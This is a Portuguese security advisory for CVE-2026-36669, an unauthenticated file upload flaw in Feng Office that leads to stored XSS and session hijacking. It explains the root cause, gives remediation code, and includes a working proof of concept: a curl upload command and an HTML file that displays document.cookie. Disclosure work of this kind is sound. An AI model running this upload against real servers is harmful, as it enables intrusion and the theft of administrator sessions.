
Advertência de segurança detalhada para CVE-2026-36669: upload arbitrário de arquivo não autenticado no Feng Office, permitindo XSS armazenado e sequestro de sessão. Inclui análise técnica, PoC e etapas de remediação.
Existe uma vulnerabilidade de upload arbitrário de arquivos não autenticado em ck_upload_handler.php no Feng Office Community Edition (versão 3.11.13.11). Esta falha permite que atacantes remotos não autenticados façam upload de arquivos arbitrários (incluindo scripts maliciosos .html ou .php) para um diretório acessível pela web. Quando combinada com a falta de proteções de cookies administrativos (HttpOnly), esta vulnerabilidade pode levar a Cross-Site Scripting Armazenado (XSS) e sequestro de sessão administrativa.
| Métrica | Detalhes |
|---|---|
| Identificador CVE | CVE-2026-36669 |
| Tipo de Vulnerabilidade | Upload Irrestrito de Arquivo com Tipo Perigoso (CWE-434) |
| Fraqueza Associada | Autenticação Ausente para Função Crítica (CWE-306) |
| Produto Afetado | Feng Office Community Edition |
| Versões Afetadas | Versão 3.11.13.11 (e potencialmente versões anteriores) |
| Status de Exploração | Prova de Conceito Verificada |
| Status de Remediação | Não corrigido (Fornecedor notificado, nenhum patch fornecido dentro da janela de divulgação padrão) |
O endpoint ck_upload_handler.php atua como um script independente. Ele não carrega nem herda o middleware de autenticação ou as listas de controle de acesso (ACL) da aplicação principal. Consequentemente, qualquer requisição externa enviada diretamente a este script é tratada como autenticada.
No código-fonte de ck_upload_handler.php, a lógica de validação de arquivos no lado do servidor (linhas 21–25) projetada para restringir uploads a formatos de imagem específicos (.jpg, .png, .gif) foi explicitamente comentada:
// $pattern = "/\.(jpg|png|gif)$/i";
// if (!preg_match($pattern,$_FILES['upload']['name'])) {
// ...
// }
O script utiliza a função copy() do PHP para escrever os arquivos enviados diretamente no diretório /tmp/, que está configurado para ser acessível pela web.
O arquivo de configuração global application/config/config.php não aplica a flag HttpOnly nos cookies de sessão. Quando um atacante faz upload de um arquivo .html contendo blocos de script do lado do cliente, qualquer administrador que visualizar o arquivo executará o script no contexto de sua sessão ativa. Isso permite que atacantes extraiam silenciosamente tokens de sessão administrativa ativos.
Aviso: Esta Prova de Conceito é fornecida apenas para fins educacionais e de auditoria defensiva.
Para verificar a vulnerabilidade, envie uma requisição POST multipart contendo um arquivo de verificação inofensivo (por exemplo, test.html) para o endpoint, anexando o parâmetro CKEditorFuncNum necessário:
curl -i -X POST \
-F "[email protected]" \
"http://<target-domain>/ck_upload_handler.php?CKEditorFuncNum=1"
Onde test.html contém marcação HTML básica de prova de conceito:
<!DOCTYPE html>
<html>
<body>
<script>
alert("Vulnerabilidade Verificada: " + document.cookie);
</script>
</body>
</html>
Se vulnerável, o servidor responderá com um status 200 OK e exibirá um bloco JavaScript indicando o caminho do upload:
<script type="text/javascript">
window.parent.CKEDITOR.tools.callFunction("1", "/tmp/test.html", "");
</script>
Se você executa uma versão afetada do Feng Office, aplique as seguintes correções manuais para proteger o endpoint de upload de arquivos:
Garanta que ck_upload_handler.php verifique sessões administrativas ativas antes de processar qualquer lógica de upload de arquivos.
Descomente e aplique rigorosamente as verificações de extensão. Rejeite quaisquer uploads que não correspondam explicitamente aos tipos MIME de imagem não executáveis esperados:
$pattern = "/\.(jpg|jpeg|png|gif)$/i";
if (!preg_match($pattern, $_FILES['upload']['name'])) {
header("HTTP/1.1 403 Forbidden");
exit("Invalid file type.");
}
Modifique sua configuração PHP ou a configuração de inicialização da aplicação para garantir que cookies de sessão não sejam acessíveis via APIs de script do lado do cliente:
session.cookie_httponly = On
Soufiane LAGZIRI